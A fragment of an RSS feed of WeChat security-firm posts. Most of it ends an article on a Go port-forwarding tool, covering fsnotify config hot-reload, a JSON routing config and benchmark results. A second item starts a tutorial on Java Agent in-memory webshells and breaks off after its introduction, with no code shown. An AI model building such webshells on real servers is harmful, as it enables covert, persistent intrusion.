&#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 17px;">2. 热加载</span></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">go</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">select</span> {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">case</span> event := &lt;-watcher.Events:</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">switch</span> event.Op {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">case</span> fsnotify.Remove: </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">// reset routeMap</span></span></code><code><span class="code-snippet_outer">          resetConfig()</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">// add the file to the filewatcher again</span></span></code><code><span class="code-snippet_outer">          err := watcher.Add(*ConfigFile)</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">            fmt.Println(<span class="code-snippet__string">&#34;fail to watch directory&#34;</span>)</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">case</span> fsnotify.Write: </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__comment">// reset routeMap</span></span></code><code><span class="code-snippet_outer">          resetConfig()</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">case</span> err := &lt;-watcher.Errors:</span></code><code><span class="code-snippet_outer">      fmt.Println(<span class="code-snippet__string">&#34;file watcher error&#34;</span>)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}()</span></code></pre></section><p hm_fix="338:349"><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;caret-color: red;orphans: 4;white-space: pre-wrap;">在Forw</span><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;caret-color: red;orphans: 4;white-space: pre-wrap;">arder启动的同时新建一个goroutine，使用go下的fsnotify库来监控文件，在捕捉到修改文件的事件后，重新设置配置。</span><br/></p><p cid="n32" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这里有一个坑点是：在linux下，使用vim/vi修改文件会产生RENAME, CHMOD, REMOVE三个通知事件，而最后的REMOVE会移除所监控文件，所以要重新把文件添加入监控列表。</span></p><p hm_fix="338:349"><strong><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 17px;">3.配置文件</span></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">&#34;log_level&#34;</span>: <span class="code-snippet__string">&#34;debug&#34;</span>, </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">&#34;listen_port&#34;</span>: <span class="code-snippet__string">&#34;0.0.0.0:80&#34;</span>, </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">&#34;routers&#34;</span>: [</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;description&#34;</span>: <span class="code-snippet__string">&#34;web&#34;</span>, </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;from&#34;</span>: <span class="code-snippet__string">&#34;1.2.3.5&#34;</span>, </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;to&#34;</span>: <span class="code-snippet__string">&#34;5.6.7.8:81&#34;</span> </span></code><code><span class="code-snippet_outer">    },</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;description&#34;</span>: <span class="code-snippet__string">&#34;ssh&#34;</span>,</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;from&#34;</span>: <span class="code-snippet__string">&#34;1.2.3.4&#34;</span>, </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;to&#34;</span>: <span class="code-snippet__string">&#34;5.6.7.8:22&#34;</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  ]</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p hm_fix="338:349"><span style="orphans: 4;white-space: pre-wrap;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Forwarder读取json格式的配置文件来形成路由表，其中log_level设置log等级，listen_port设置监听的端口，routers中存储着路由信息，路由信息由description，from和to三条信息构成，以此来标识一个转发规则。</span></p></section></section></section><section style="box-sizing: border-box;width: 10px;height: 1px;background: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section style="display: flex;justify-content: flex-end;align-items: flex-end;margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section></section><section style="margin-right: 10px;"><section style="box-sizing: border-box;width: 100%;height: 10px;background: rgb(251, 248, 242);overflow: hidden;" data-width="100%"><br/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101747"><section style="margin-top: 10px;margin-bottom: 10px;text-align: left;"><section style="display: flex;justify-content: left;align-items: center;margin-left: 10px;"><section style="box-sizing:border-box;width: 30px;"><img data-ratio="0.41089108910891087" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="404" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ea5f6a37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjs1rRGvfuKtO2loQOvsfzWAqdvE5BfI8icV9BXicmvEu0mOa3z5JnDxqQ%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;margin-top: 10px;"><section style="margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing: border-box;"><section style="border-right: 1px solid rgb(196, 164, 130);box-sizing: border-box;"><section style="display: flex;justify-content: center;align-items: flex-end;"><section style="flex: 1;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1px;padding: 1em 15px;color: rgb(171, 137, 107);border-left: 1px solid rgb(196, 164, 130);margin-top: 0em;margin-bottom: 0em;margin-left: 10px;text-align: center;box-sizing: border-box;"><span style="color: #974806;"><strong><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">压力测试</span></strong></span></section><section style="background: #fbf8f2;padding-left: 10px;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(171, 137, 107);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2em 1em;border-left: 1px solid rgb(196, 164, 130);text-align: justify;"><p cid="n42" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">服务端：Ubuntu 20.04.1 LTS Apache 2.4.41</span></p><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">客户端：apache benchmark Version 2.3</span></p><p cid="n44" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">服务端和客户端都位于内网环境</span></p><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">测试结果：</span></p><p hm_fix="338:349"><img data-ratio="0.48389904264577893" style="box-sizing:border-box;width:&#34;auto&#34;;" data-type="png" data-w="1149" src="https://wechat2rss.xlab.app/img-proxy/?k=231718b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcja7HL4nRmg2boI7n9rjYjdficrFibxOp5aKLm5iaHWV16ZraMItCHzjBbA%2F640%3Fwx_fmt%3Dpng"/></p><p hm_fix="338:349" style="text-align:left;"><span style="box-sizing: border-box;color: #000000;">列&#34;Local xxx&#34; 表示直接请求服务端, 列&#34;Forwarder xxx&#34;表示通过    Forwarder转发流量来请求服务端。</span></p><p hm_fix="338:349" style="text-align:left;"><span style="box-sizing: border-box;color: #000000;">从测试结果可以得出，Awesome-Forwarder做到了所有测试100%无丢包率，在内网测试下转发速率约为33MB/s，并且即使在30000次请求，200个线程下也能够很好的完成端口转发的工作。但是因为Forwarder需要将入口流量转发给出口，并将出口流量返回给入口（共两次请求），所以它大约需要耗费两倍于正常请求的时间来完成一次请求。</span></p><p hm_fix="338:349"><br/></p></section></section></section><section style="box-sizing: border-box;width: 10px;height: 1px;background: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section style="display: flex;justify-content: flex-end;align-items: flex-end;margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section></section><section style="margin-right: 10px;"><section style="box-sizing: border-box;width: 100%;height: 10px;background: rgb(251, 248, 242);overflow: hidden;" data-width="100%"><br/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101747"><section style="margin-top: 10px;margin-bottom: 10px;text-align: left;"><section style="display: flex;justify-content: left;align-items: center;margin-left: 10px;"><section style="box-sizing:border-box;width: 30px;"><img data-ratio="0.41089108910891087" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="404" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ea5f6a37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjs1rRGvfuKtO2loQOvsfzWAqdvE5BfI8icV9BXicmvEu0mOa3z5JnDxqQ%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;margin-top: 10px;"><section style="margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing: border-box;"><section style="border-right: 1px solid rgb(196, 164, 130);box-sizing: border-box;"><section style="display: flex;justify-content: center;align-items: flex-end;"><section style="flex: 1;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1px;padding: 1em 15px;color: rgb(171, 137, 107);border-left: 1px solid rgb(196, 164, 130);margin-top: 0em;margin-bottom: 0em;margin-left: 10px;text-align: center;box-sizing: border-box;"><span style="color: rgb(151, 72, 6);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 20px;">后序</span></strong></span></section><section style="background: #fbf8f2;padding-left: 10px;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(171, 137, 107);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2em 1em;border-left: 1px solid rgb(196, 164, 130);text-align: justify;"><p cid="n167" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;">Forwarder后序可以附加上很多额外的功能：</span></p><ul class="list-paddingleft-2" cid="n168" mdtype="list" data-mark="*" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n170" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 14px;">连接管理终端</span></p></li><li><p cid="n172" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 14px;">提供web api获取当前连接状态和修改配置文件</span></p></li><li><p cid="n174" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 14px;">与telegram bot进行联动，实时提醒</span></p></li><li><p cid="n176" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 14px;">提供以守护进程启动的方式</span></p></li><li><p cid="n178" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 14px;">身份认证功能</span></p></li></ul></section></section></section><section style="box-sizing: border-box;width: 10px;height: 1px;background: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section style="display: flex;justify-content: flex-end;align-items: flex-end;margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section></section><section style="margin-right: 10px;"><section style="box-sizing: border-box;width: 100%;height: 10px;background: rgb(251, 248, 242);overflow: hidden;" data-width="100%"><br/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="color: rgb(151, 72, 6);font-size: 14px;font-weight: bold;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">参考</span><br/></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;list-style: circle;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;display: block;font-size: 14px;color: rgb(151, 72, 6);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">•<a href="https://github.com/crabkun/switcher" target="_blank">https://github.com/crabkun/switcher</a></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;display: block;font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p><br/></p></section><section data-role="paragraph"><p><br/></p></section></section><p><br/></p>



<p><a href="2247484205">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=42705869&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484205%26idx%3D1%26sn%3D336004c9cbb8b554522c283ce9517192%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 15 Apr 2021 19:23:00 +0800</pubDate>
    </item>
    <item>
      <title>护网专题第二篇-Java内存马（下）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484158&amp;idx=1&amp;sn=280bdcdf8172f29f77e9159c730be1a2</link>
      <description>Java Agent 从入门到内存马（下）</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-04-02 17:54</span> <span style="display: inline-block;"></span>
</p>

<p>Java Agent 从入门到内存马（下）</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b6591211&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgsIS3v9dXYccIibAK6icgmYv064b5j0tr4eOwW1hJ0Sbzl9PZzbePLia1Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-tools="135编辑器" data-id="102980" data-color="#feecaf"><section style="margin:10px auto 15px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: center;"><section style="box-sizing:border-box;width:40x;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:30px;"><img data-ratio="1.7450980392156863" style="box-sizing:border-box;width:100%;display:block;" data-type="png" data-w="51" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=0c970e26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgO53HyQ8kcb4wpiaYw2C2hosn18XSBd7yXxazgicKEm8LQ9fvsQeQH9jA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(254, 236, 175);display: inline-block;padding: 3px;margin-left: -34px;box-sizing: border-box;margin-bottom: -20px;border-radius: 25px;"><section data-brushtype="text" style="padding: 4px 1.5em 4px 2.5em;letter-spacing: 2px;font-size: 16px;background-color: rgb(254, 236, 175);color: rgb(172, 133, 2);font-weight: bold;border-radius: 20px;box-sizing: border-box;" hm_fix="375:587"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;">Java Agent 从入门到内存马（下）</span></section></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p><p><br/></p></section><section data-tools="135编辑器" data-id="94987" data-color="#feecaf"><section style="text-align: center;margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;margin-left: -20px;"><section style="box-sizing:border-box;margin-right:-4em;margin-top: -12px;width:8em;"><section style="box-sizing:border-box;width:8em;"><img data-ratio="0.050955414012738856" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="157" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7b13f097&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgrgpwibEze0EsgMMdOpWoaBdZI80a6MhfuBlwWEDfT7ANKPX2rmd2Y5Q%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;width: 2.5em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -1.6em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section><section style="display:inline-block;"><section data-brushtype="text" style="background: rgb(254, 236, 175);color: rgb(172, 133, 2);font-size: 16px;letter-spacing: 1.5px;padding: 10px 1.6em;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 18px;">回顾</span></strong></span></section><section data-bgless="spin" data-bglessp="280" data-bgopacity="80%" style="box-sizing: border-box;width: 100%;background: rgba(254, 175, 220, 0.2);height: 40px;margin-top: -34px;margin-left: 6px;color: rgb(174, 0, 99);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing:border-box;margin-left:-4em;width:8em;margin-top: -12px;"><img data-ratio="0.0457516339869281" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="153" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6841bcd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAg55VpIrDfCkBIcRUe5wBwr0Czry9KBN1EWxA3ArHeMyoVXBFmPqQSQQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="box-sizing: border-box;width: 2.2em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -4em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="101364" data-color="#feecaf"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8245614035087719" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="57" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=aae19b8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgGB0JU4O1432w99x0mpOSJPtyvaibibmEQkSMeYU8iaibgFGE0NppqYDycg%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="background: rgb(254, 236, 175);padding: 4px;border-radius: 10px;margin-top: -20px;color: rgb(172, 133, 2);"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(254, 236, 175);background: rgb(255, 255, 255);padding: 2em 1em 1em;border-radius: 10px;"><section data-role="paragraph" data-color="#feecaf"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">如果您不记得之前讲了什么内容，请回顾我们的上一篇文章~</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">上文讲到</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Instrumentation</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">的两个简单方法——</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">getAllLoadedClasses()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color 